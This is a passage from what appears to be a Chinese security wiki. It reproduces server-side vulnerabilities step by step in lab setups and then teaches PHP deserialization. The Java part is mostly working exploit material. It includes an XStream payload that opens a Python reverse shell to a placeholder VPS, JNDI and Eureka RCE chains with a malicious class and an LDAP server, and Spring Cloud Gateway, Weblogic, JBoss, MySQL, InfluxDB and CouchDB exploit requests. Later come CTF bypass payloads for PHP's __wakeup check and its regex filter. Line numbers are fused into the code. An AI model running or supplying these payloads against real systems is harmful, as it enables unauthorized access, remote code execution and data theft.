class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/bash</string> <string>-c</string> <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString></linked-hash-set>""" return Response(xml, mimetype='application/xml')if __name__ == "__main__": app.run(host='0.0.0.0', port=80) 监听反弹 shell 的端口一般使用 nc 监听端口,等待反弹 shellnc -lvp 443 设置eureka.client.serviceUrl.defaultZone属性\tspring 1.x 1234POST /envContent-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://your-vps-ip/example spring 2.x 刷新配置(post方式访问/refresh) jolokia logback JNDI RCE ldap 注入可能会受目标 JDK 版本影响:jdk < 6u201/7u191/8u182/11.0.1 https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-windows-x64.exehttps://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-windows-x64.exe 使用 LDAP+JNDI Reference 的方式,在**JDK 11.0.1、8u191、7u201、6u211 ** 后被限制 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为 false 使用 RMI+JNDI Reference 的方式,在 JDK 6u141、7u131、8u121 及以后的版本被限制 官方将 com.sun.jndi.rmi.object.trustURLCodebase com.sun.jndi.cosnaming.object.trustURLCodebase 的值设置为 false,则不能再从 codebase 中加载类了 漏洞原理 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞) xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞 利用条件 可以 POST 请求目标网站的 /env 接口设置属性 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖) 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中) 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 漏洞复现 查看已存在的 MBeans访问 /jolokia/list 或者/actuator/jolokia/list接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词 托管 xml 文件在根目录放置 example.xml 文件,内容如下: 123<configuration> <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/Evil" as="appName" /></configuration> 编写恶意类 Evil.java ,并用 javac Evil.java 对恶意类进行编译成 Evil.class ,放在 VPS 上 12345public class Evil { public Evil() throws Exception{ Runtime.getRuntime().exec("calc.exe"); }} 用 python 在 VPS 上开启一个web服务,要在 Evil.class 同目录下开启web服务,让 Evil.class 和 example.xml 在 web 根目录 12python2 -m SimpleHTTPServer 8899python3 -m http.server 8899 使用 marshalsec 在 VPS 上架设一个 LDAP 服务需要将marshalsec打包成jar包再运行 1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8899/#Evil 1389 访问触发 1http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/43.138.77.252:8899!/example.xml Spring-Cloud-GateWay(cve-2022-22947)利用条件 Spring Cloud Gateway 3.1.x < 3.1.1、Spring Cloud Gateway < 3.0.7 Actuator 存在 gateaway 接口, 且可post添加route 可进行refresh刷新 漏洞复现 存在gateway接口http://192.168.164.128:55000/actuator 添加route 1234567891011121314151617181920212223242526POST /actuator/gateway/routes/new_test HTTP/1.1Host: 192.168.164.128:55000User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeContent-Type: application/jsonContent-Length: 322{ "id": "test", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/new_test"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec(\\"curl duvc3b.dnslog.cn\\")}" }}], "uri": "http://127.0.0.1:9999"}] 接口refresh 1234567891011POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.164.128:55000User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 0 命令执行结果 中间件Weblogic未授权RCE(CVE-2019-2725)https://vulfocus.cn/#/loginhttps://vulfocus.cn/#/login 利用条件 weblogic 10.x、weblogic 12.1.3 存在/_async/AsyncResponseService接口 漏洞复现 访问/_async/AsyncResponseService接口,存在如下页面,即存在漏洞 attck-命令执行 123456789101112131415161718192021222324<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>ping tdjmtv.dnslog.cn</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope> 修复建议 升级本地JDK环境 及时安装官方补丁 https://www.cnblogs.com/confidant/p/15464877.htmlhttps://www.cnblogs.com/confidant/p/15464877.html Jboss未授权(CVE-2017-12149)利用条件 5.x和6.x版本的JBOSS invoker/readonly接口未做限制或过滤(一般该路径回显500) 漏洞复现 访问/invoker/readonly 在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测,导致攻击者可以执行任意代码 文件路径是:server\\all\\deploy\\httpha-invoker.sar\\invoker.war\\WEB-INF\\classes\\org\\jboss\\invocation\\http\\servlet,在这个路径下的ReadOnlyAccessFilter.class中. 把这个class扔到IDEA中查看源码,发现这个过滤器在做过滤的时候没有做任何的校验,导致恶意用户在直接访问这个接口去POST数据的时候(看63行之前的代码)服务器得到输入流,对输入流进行对象化,执行数据流中的对象 生成序列化数据java -jar ysoserial-all.jar CommonsCollections6 "ping lensx0.dnslog.cn" > poc.ser 发送序列化数据 curl http://192.168.164.128:8080/invoker/readonly --data-binary @poc.ser BP发送数据 attck-success 数据库未授权Mysql 身份认证绕过漏洞(CVE-2012-2122)当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的.也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库. 1for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done Influxdb未授权 influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式.在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句. 利用条件 InfluxDB < 1.7.6 漏洞复现访问http://192.168.164.128:8086/debug/vars即可查看一些服务信息,但此时POST访问query执行SQL语句则会出现401错误 我们借助https://jwt.io/来生成jwt token { "alg": "HS256", "typ": "JWT" } { "username": "admin", "exp": 1676346267 } 发送带有这个jwt token的数据包,可见SQL语句执行成功 MongoDB未授权 MongoDB服务开启时不加任何参数,默认是没有开启认证的,攻击者通过默认端口(27017),无需密码就能远程登录,连接数据库进行任何操作. CouchDB Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”.它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库. CouchDB默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能.其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问 影响版本:小于 1.7.0 以及 小于 2.1.1 漏洞复现 首先,发送如下数据包可见,返回403错误:{"error":"forbidden","reason":"Only _admin may set roles"},只有管理员才能设置Role角色: 1234567891011121314151617PUT /_users/org.couchdb.user:vulhub HTTP/1.1Host: 192.168.164.128:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeCache-Control: max-age=0Content-Length: 80{"type":"user","name":"vulhub","roles":["_admin"],"password":"vulhub"} 发送包含两个roles的数据包,即可绕过限制: 12345678910111213141516PUT /_users/org.couchdb.user:vulhub HTTP/1.1Host: 192.168.164.128:5984Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 108{ "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub"}"},{"title":"十五. PHP反序列化","path":"/wiki/VulnerabilityInsightDocs/十五. PHP反序列化.html","content":"总字符数: 31.62K 代码: 18.75K, 文本: 7.46K 预计阅读时间: 1.90 小时 基础知识概念 类 对现实生活中一类具有共同特征的事物的抽象(即类可以说成是某一事物的代表,类归纳了事物) 对象 所说的事物就是对象 属性 类中对象所具有的性质 方法 可以用来操作该对象或者该对象可以使用哪些方法 语法1234567891011<?php class 类名{ // 常量 修饰值 $属性名=属性值(可以不初始化值); //属性 // 构造器(析构函数) // 方法 修饰值 function name(){ 方法体; }} 示例123456789101112131415161718<?phpclass test { // $a,$b为test类的属性 var $a; var $b; public function echo_test(){ echo $this->a; echo $this->b; }}// 实例化一个对象$test = new test();// 给test对象中的a赋值$test->a="Bob ";// 给test对象中的b赋值$test->b="Hello ";// 调用test对象中的echo_test()方法$test->echo_test(); 修饰符 Public Protected Private 本类 可以访问 可以访问 可以访问 子类 可以访问 可以访问 不能访问 外部 可以访问 不能访问 不能访问 123456789101112131415161718192021222324252627282930313233343536<?php// 定义类Aclass A { public $a = 'public'; // 公共属性,类内外都可以访问 protected $b = 'protected'; // 受保护属性,只有类内部和子类可以访问 private $c = 'private'; // 私有属性,只有类内部可以访问 // 构造函数,当对象被创建时调用 function __construct() { echo "本类 " . $this->a . " "; // 打印公共属性 echo "本类 " . $this->b . " "; // 打印受保护属性 echo "本类 " . $this->c . " "; // 打印私有属性 }}// 定义类B,它继承自类Aclass B extends A { // 构造函数,当对象被创建时调用 function __construct() { parent::__construct(); // 调用父类的构造函数 echo "子类 " . $this->a . " "; // 打印从父类继承的公共属性 echo "子类 " . $this->b . " "; // 打印从父类继承的受保护属性 // 由于$c是私有属性,这里会发生错误,子类无法访问父类的私有属性 // echo "子类 " . $this->c . " "; // 这行代码会产生错误,注释掉 }}$aaa = new A(); // 实例化类A的对象$bbb = new B(); // 实例化类B的对象,会调用类B的构造函数,而类B的构造函数会调用父类A的构造函数// 下面尝试从外部访问这些属性echo "外部 " . $aaa->a . " "; // 正确,外部可以访问公共属性// 下面这两行都会出错,因为从外部不能访问protected和private属性// echo "外部 " . $aaa->b . " "; // 错误,外部不能访问受保护属性,注释掉// echo "外部 " . $aaa->c . " "; // 错误,外部不能访问私有属性,注释掉?> 魔术方法__construct() 触发时机:当创建对象时,构造函数会被自动调用. 作用:初始化对象属性或执行起始化操作. 使用要求:可以接收参数,也可以没有参数. __destruct() 触发时机:对象生命周期结束时,如脚本执行结束或对象被销毁. 作用:执行清理工作,如释放资源或关闭连接. 使用要求:无需返回值,也不接受参数. __call($name, $arguments) 触发时机:在对象中调用一个不可访问方法时,__call()会被调用 作用:处理对不可访问方法的调用. 使用要求:接收方法名和参数数组,通常返回混合类型的结果. __get($name) 触发时机:读取不可访问的属性值时.__get()会被调用 作用:提供对私有和受保护属性的读取访问. 使用要求:接收属性名,返回属性值. __set($name, $value) 触发时机:给不可访问属性赋值时,__set()会被调用 作用:提供对私有和受保护属性的写入访问. 使用要求:接收属性名和属性值. __unset($name) 触发时机:对不可访问属性调用unset()时,__unset()会被调用 作用:能够清除私有和受保护属性. 使用要求:接收属性名. __sleep() 触发时机:使用serialize()序列化对象前. 作用:指定哪些属性需要被序列化. 使用要求:返回一个包含属性名的数组. __wakeup() 触发时机:使用unserialize()反序列化对象时,先于对象的其他方法和属性恢复. 作用:重构对象属性或执行代码,如重建数据库连接等. 使用要求:无返回值,通常用于重建资源型属性. __toString() 触发时机:当一个对象需要被当作字符串处理时,如echo $object;. 作用:定义对象的字符串表达形式. 使用要求:必须返回一个字符串. __invoke() 触发时机:当尝试将对象当作函数调用时,如$object();. 作用:使对象能以函数的形式被调用. 使用要求:可以接收参数,也可以没有参数,且必须返回有效值. 示例代码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556class Demo { private $flag; // 私有属性,仅类内部可访问 public function __construct(){ echo "construct"." "; // 构造函数,创建对象时调用,输出"construct" } public function __toString() { return '对象作字符串处理'; // 将对象转换为字符串时调用 } public function __set($key, $value) { echo "set ".$key."=>".$value." "; // 设置不可访问属性时调用 } public function __get($key) { echo "get ".$key." "; // 获取不可访问属性时调用 } public function __unset($key) { echo "unset "."=>".$key." "; // 当对不可访问属性调用unset()时调用 } public function __wakeup() { // 对象被unserialize()函数调用时,重新构建对象 // 恢复操作,例如: $this->flag = '对象被反序列化'; // 为私有属性flag赋值 } public function __invoke($arg) { return '对象被当作函数调用,参数:' . $arg; // 当对象被当作函数调用时执行 } public function givemeflag($flag){ echo "flag{".$flag."}"." "; // 自定义方法,输出参数 } public function __call($function, $args){ echo "call ".$function." ".json_encode($args)." "; // 调用不可访问方法时执行 } public function __destruct() { // 对象销毁时调用 echo '对象被销毁'; // 输出"对象被销毁" }}$demo = new Demo(); // 创建Demo类的实例$b = serialize($demo); // 序列化$demo对象,存储序列化字符串到$bunserialize($b); // 反序列化字符串$b,触发__wakeup$demo(); // 调用$demo对象作为函数,触发__invoke$demo->flag = 'wonima'; // 设置私有属性flag,触发__setecho $demo->flag; // 获取私有属性flag,触发__getunset($demo->flag); // 删除私有属性flag,触发__unset$demo->givemeflag("wonima"); // 调用存在的公共方法givemeflag 序列化是什么 序列化是为了保存对象,方便重用 序列化:把对象转换为字节序列的过程称为对象的序列化 123string serialize(mixed $value)# return 字符串 input:混合型serialize() # 序列化 函数用于序列化对象或数组,并返回一个字符串. serialize()函数序列化对象后,可以很方便的将它传递给其他需要他的地方 如果需要将已序列化的字符串变回PHP的值,可以使用unserialize() 序列化示例1234567891011121314151617181920<?php// 定义一个类叫做manclass man{ public $name; // 定义一个公共属性$name,用来存储人的名字 public $age; // 定义一个公共属性$age,用来存储人的年龄 public $height; // 定义一个公共属性$height,用来存储人的身高 // 类的构造函数,当创建man类的实例时自动调用 function __construct($name,$age,$height){ $this->name = $name; // 将传入构造函数的$name参数赋值给对象的$name属性 $this->age = $age; // 将传入构造函数的$age参数赋值给对象的$age属性 $this->height = $height; // 将传入构造函数的$height参数赋值给对象的$height属性 }}// 实例化man类的一个对象,传入姓名"Bob",年龄23岁,身高178厘米$man = new man("Bob",23,178);// 使用serialize函数序列化$man对象,然后使用var_dump函数打印序列化的字符串var_dump(serialize($man));?> 12345678# 序列化后string(69) "O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}"# string(69) 表示我们序列化的字符串的长度# O:Object# 3表示Class名称长度# man表示Class名称# 3表示里面有几个元素# s表示字符串 我们可以发现,把对象序列化之后的数据中并不能看到任何一个方法. 序列化只序列化他的属性,不序列化方法 也就是说我们在利用序列化攻击的时候,也是依托类属性进行攻击. 反序列化 反序列化就是将字符串转换成变量或者对象的过程 123456789101112131415<?php$man = 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}';var_dump(unserialize($man));/*result:object(man)#1 (3) { ["name"]=> string(3) "Bob" ["age"]=> int(23) ["height"]=> int(178)}*/ 与serialize()对应的unserialize可以从已存储的表示中创建PHP的值,对于本次的环境而言可以从序列化后的结果中恢复对象(Object). 1234567891011121314151617<?php// 定义一个类叫做manclass man{ public $name; // 定义一个公共属性$name,用来存储人的名字 public $age; // 定义一个公共属性$age,用来存储人的年龄 public $height; // 定义一个公共属性$height,用来存储人的身高 // 类的构造函数,当创建man类的实例时自动调用 function __construct($name,$age,$height){ $this->name = $name; // 将传入构造函数的$name参数赋值给对象的$name属性 $this->age = $age; // 将传入构造函数的$age参数赋值给对象的$age属性 $this->height = $height; // 将传入构造函数的$height参数赋值给对象的$height属性 }}# 序列化后的字符串$man = 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}';var_dump(unserialize($man)); 在PHP中,对象序列化包含成员变量的可见性处理,不同的可见性修饰符会影响序列化后的字符串格式. 下面是这个过程的简化解释,以及每个可见性修饰符对序列化格式的影响: Public (公共)成员变量:使用public修饰的成员变量在序列化后保留其原始名称和长度.例如,如果$name是公共变量并且值为"John",序列化后会正常显示为"John",长度为4. Protected (受保护的)成员变量:使用protected修饰的成员变量在序列化时,它的名称前会加上*字符,并且长度会增加3个字节.所以如果$age是受保护的变量,序列化后的长度会是原本长度加3. Private (私有的)成员变量:使用private修饰的成员变量在序列化时,在变量名前会加上其所在类的名称和两个空字节.因此,如果有一个私有变量$height在名为object的类中,序列化后的长度会是变量值的长度加上类名长度再加上2个字节. 在序列化中,\\x00代表空字节,它在私有和受保护成员变量的名称前后用于区分成员变量的作用域. 这里是具体的规则概述: Private 成员序列化规则:序列化私有成员时使用的格式为 \\x00[类名]\\x00[变量名]. Protected 成员序列化规则:序列化受保护的成员时使用的格式为 \\x00*\\x00[变量名]. 以上规则保证了在序列化和反序列化过程中,成员变量的可见性和归属保持不变,从而维护了对象状态的完整性. 序列化格式中的字母含义123456789101112a - array // 数组b - boolean // 布尔值d - double // 双精度浮点数i - integer // 整数o - common object // 常规对象(已废弃,被 O 替代)r - reference // 引用s - string // 字符串C - custom object // 自定义对象,具有自定义序列化的对象O - class // 对象N - null // NULL值R - pointer reference // 指针引用,指向另一个值的引用U - unicode string // Unicode字符串(PHP 6之前的特性,已不再使用) 为什么反序列化?存储需求 所有PHP里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字. 在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是”持久数据”,因此PHP序列化就是将内存的变量数据”保存”到文件中的持久数据的过程 传输需求 序列化通俗点说就是把一个对象变成可以传输的字符串. 比如:json格式,这就是一种序列化,有可能也是通过array序列化而来的.而反序列化就是把那串可以传输的字符串再变回对象 这样就让对象能够以字节流的形式传输 反序列化漏洞 反序列化可能会导致代码被加载和执行 unserialize()参数可控 php中有可以利用的类并且类中有魔幻函数又称魔术方法 __wakeup()(CVE-2016-7124) 反序列化时,如果表示对象属性个数的值大于真实的属性个数时会导致反序列化失败而同时会跳过__wakeup()的执行 影响版本 PHP 5.6.25之前的版本 7.x系列中7.0.10之前的版本 ctf.php12345678910111213141516171819202122232425262728293031323334353637<?php // 定义名为Demo的类class Demo { private $file = 'index.php'; // 私有属性,存储文件名,默认为'index.php' // 构造函数,当创建Demo类的实例时自动调用 public function __construct($file) { $this->file = $file; // 将传入的$file参数赋值给对象的$file属性 } // 析构函数,当Demo类的实例销毁时自动调用 function __destruct() { echo @highlight_file($this->file, true); // 输出高亮显示的$file文件内容 } // 当尝试对一个对象进行unserialize操作时,会自动调用此函数 function __wakeup() { if ($this->file != 'index.php') { // 文件名如果不是'index.php' // 注意信息:秘密在fl4g.php中 $this->file = 'index.php'; // 强制将$file属性设回为'index.php' } } }// 检查是否存在名为'var'的GET变量if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 对GET变量'var'进行base64解码 // 使用正则表达式检查解码后的字符串是否包含有特定模式(可能是序列化的对象或类) if (preg_match('/[oc]:\\d+:/i', $var)) { die('stop hacking!'); // 如果匹配到模式,则终止脚本,并输出警告信息 } else { @unserialize($var); // 如果没有匹配到模式,尝试反序列化字符串 } } else { highlight_file(__FILE__); // 如果没有GET变量'var',则高亮显示当前PHP文件内容} ?> 正则表达式 '/[oc]:\\d+:/i'各部分的含义如下: /.../:正则表达式的界定符,告诉PHP这是一个正则表达式的开始和结束. [oc]:字符集合,匹配 ‘o’ 或者 ‘c’ 中的任意一个字符. ::匹配冒号这个字符. \\d:匹配任何数字(digit),等同于 [0-9]. +:量词,表示前面的字符(在这个例子里是 \\d,即数字)出现一次或多次. ::再次匹配冒号这个字符. i:修饰符,表示匹配时不区分大小写. 所以,这个正则表达式用于查找字符串中的模式,该模式是以 ‘o’ 或 ‘c’(不区分大小写)开头,后跟一个冒号,然后是一个或多个数字,最后以冒号结束. 例如: o:123: 将会匹配 C:456: 也将会匹配 x:789: 则不会匹配,因为它不以 ‘o’ 或 ‘c’ 开头. fl4g.php1$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}"; poc.php12345678910111213141516171819202122232425class Demo{ private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } }}$a = new Demo("fl4g.php");$a = serialize($a);$a = str_replace("O:4","O:+4",$a); // 绕过正则$a = str_replace(":1:",":2:",$a); // 绕过wakeup$a = base64_encode($a); // base6编码echo $a; 解题思路关键点: 代码提示:需要读取 fl4g.php,但是直接访问会被重定向至 index.php. 利用点:__destruct() 方法中的 highlight_file($this->file, true) 可以读取文件内容. 目标:在反序列化后调用 __destruct(),同时避免 __wakeup() 将 $file 重置为 index.php. 优化解题思路: 利用 CVE-2016-7124 漏洞:序列化字符串的属性个数大于实际数量时,可以跳过 __wakeup(). 绕过技巧: 改变序列化内容中的属性个数,从而跳过 __wakeup(). 操作步骤: 将序列化的属性个数从 1 改为 2. 使用 base64 编码处理序列化内容. 提交修改后的数据,触发 __destruct(),读取 fl4g.php. 利用一般都是基于”自动调用”的魔术方法,当漏洞/危险代码存在类的普通方法中,就不能指望通过”自动调用”来达到目的.这时的利用方法如下 寻找相同的函数名 把敏感函数和类联系在一起 反序列化Bypassphp7.1+反序列化对类属性不敏感在PHP 7.1版本及以后,protected属性在序列化时不再需要特殊前缀.这意味着,即便序列化字符串中缺少\\x00*\\x00,PHP依然能够正确处理受保护的属性值. php5.5.9 1234567891011121314151617181920212223242526<?phpclass man{ public $name; protected $age; private $height; function __construct($name,$age,$height){ $this->name = $name; $this->age = $age; $this->height = $height; }}# 反序列化\\x00 2a \\x00(对应的16进制002a00)的受保护的序列值$man = new man('regret','23','178');var_dump(bin2hex(serialize($man)));# result:object(man)#1 (3) { ["name"]=> string(6) "regret" ["age":protected]=> int(23) ["height":"man":private]=> int(178)} 12345678910111213141516171819<?phpclass man{ public $name; protected $age; private $height; function __construct($name,$age,$height){ $this->name = $name; $this->age = $age; $this->height = $height; }}# php5.5.9反序列化没有\\x00 \\x00(对应的16进制002a00)的受保护的序列值$hex = '4f3a333a226d616e223a333a7b733a343a226e616d65223b733a363a22726567726574223b733a363a222a616765223b693a32333b733a31313a22006d616e00686569676874223b693a3137383b7d';var_dump(unserialize(hex2bin($hex)));# result:bool(false) php7.1.9 123456789101112131415161718192021222324252627282930313233<?phpclass man{ public $name; protected $age; private $height; function __construct($name, $age, $height) { $this->name = $name; $this->age = $age; $this->height = $height; }}// 注意:如果将\\x00 \\x00删掉之后,对应的s:6:"*age"这个6(hex:36)也要删除2个字节,也就是4(hex:34)$hex = '4f3a333a226d616e223a333a7b733a343a226e616d65223b733a363a22726567726574223b733a343a222a616765223b693a32333b733a31313a22006d616e00686569676874223b693a3137383b7d';$unserializedData = unserialize(hex2bin($hex));var_dump($unserializedData);# result:object(man)#2 (4) { ["name"]=> string(6) "regret" ["age":protected]=> NULL ["height":"man":private]=> int(178) ["*age"]=> int(23)} 绕过__wakeup(CVE-2016-7124) 版本: PHP5 < 5.6.25 PHP7 < 7.0.10 利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 对于下面这样一个自定义类 12345678910111213141516171819202122232425262728293031323334<?php// 定义一个名为test的类class test{ public $a; // 定义一个公共属性$a // 构造函数,每当类被实例化时,它就会被调用 public function __construct() { $this->a = 'abc'; // 初始化属性$a为字符串'abc' } // 当对象被反序列化时,__wakeup魔术方法会被调用 public function __wakeup() { $this->a = '666'; // 反序列化时,将属性$a的值设置为'666' } // 析构函数,当对象被销毁时,它会被调用 public function __destruct() { echo $this->a; // 在对象被销毁前输出属性$a的值 }}// 实例化test类的对象$test = new test();// 序列化$test对象,然后将序列化的字符串转换为16进制表示,最后打印出来var_dump(serialize($test));#result:string(33) "O:4:"test":1:{s:1:"a";s:3:"abc";}"abc 如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');输出结果为666 而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');输出结果为abc 绕过部分正则使用 preg_match('/^O:\\d+/') 可以检查一个字符串是否以PHP对象的序列化格式开头.这个技巧在一些安全竞赛(CTF)中很实用. 一个很简单的绕过手法就是在数字前面加一个+,这样就饶过了正则,因为正常来说整数会省略+,但是加上也不算错.当你在URL中传递参数时,需要记住将加号(+)编码为%2B 使用 serialize(array($a)); 可以序列化一个包含变量$a的数组,这样即使\\$a是一个对象,它的序列化字符串也会以字母a开始,而不是对象表示的O,这是一个避免某些安全问题的小技巧. 12345678910111213141516171819202122232425262728293031323334353637383940<?php// 定义一个类testclass test { public $a; // 类的公共属性$a // 类的构造函数,初始化属性$a public function __construct() { $this->a = 'abc'; } // 类的析构函数,当对象被销毁时输出属性$a public function __destruct() { echo $this->a.PHP_EOL; // 打印属性$a并换行 }}// 定义一个函数match来检查数据是否以序列化的对象字符串开头function match($data) { // 使用正则表达式检查是否以PHP序列化的对象格式开头 if (preg_match('/^O:\\d+/',$data)){ die('you lose!'); // 如果是,终止脚本并输出消息 } else { return $data; // 如果不是,返回原始数据 }}// 初始化一个序列化的对象字符串$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';// 将序列化的对象字符串中的'O:4'替换为'O:+4',用于绕过正则表达式的检查$b = str_replace('O:4','O:+4', $a);// 对修改后的数据使用match函数检查,然后尝试反序列化unserialize(match($b));// 将原始的序列化对象字符串$a包装在一个数组中并序列化// unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');// 尝试反序列化上面序列化的数组,其中包含了test对象unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');?> 除了加号(+),可能还有其他字符或者序列化格式的特定特征可以用于绕过检查,例如: 空白字符:在某些情况下,正则表达式可能没有考虑空白字符(如空格、制表符或换行符),可能会忽略它们. 空格字符 ( ) 制表符 (\\t) 换行符 ( ) 回车符 (\\r) 如果正则表达式仅检查开始的序列化对象而没有考虑对象内部的空白,那么可以在对象的属性值中插入空白字符,例如在s:3:"abc"后添加一个空格或其他空白字符. 但是,需要注意的是,PHP的unserialize()函数通常不会忽略序列化字符串中的空白字符,除非它们是字符串值的一部分.这意味着,虽然你可能绕过了正则表达式的检测,但是修改后的序列化字符串可能不会成功被unserialize()函数反序列化,除非这些空白字符位于序列化数据的非关键部分. 16进制绕过字符的过滤1234567O:4:"test":1:{s:8:"username";s:5:"admin";}可以写成O:4:"test":1:{S:8:"\\\\75sername";s:5:"admin";} 如果安全检查是寻找 "username" 字符串,你可以将 "username" 中的 "u" 替换为它的16进制形式 "\\75".检查可能会忽略 "\\75sername",因为按字面上它不等于 "username".然而,当反序列化操作发生时,"\\75" 会被解析回 "u",原始的字符串 "username" 就会被重建,原本的检查被绕过. 示例123456789101112131415161718192021222324252627282930313233343536// 定义一个名为 test 的类class test{ public $username; // 定义公共变量 $username // 类的构造函数 public function __construct(){ $this->username = 'admin'; // 初始化变量 $username 为字符串 'admin' } // 类的析构函数 public function __destruct(){ echo 666; // 在对象销毁时,输出 666 }}// 定义了一个名为 check 的函数,用于检查数据中是否包含 'username' 字符串function check($data){ // 使用 stristr 函数检查 $data 中是否包含 'username' 字符串 if(stristr($data, 'username')!==False){ echo("你绕不过!!".PHP_EOL); // 如果包含,则输出提示信息 } else{ return $data; // 如果不包含,则返回原始数据 }}// 未经处理的序列化字符串,包含 'username' 字段$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';$a = check($a); // 检查是否包含 'username',此时会输出提示信息,因为包含// 处理后的序列化字符串,其中 'username' 被替换成了它的16进制表示形式 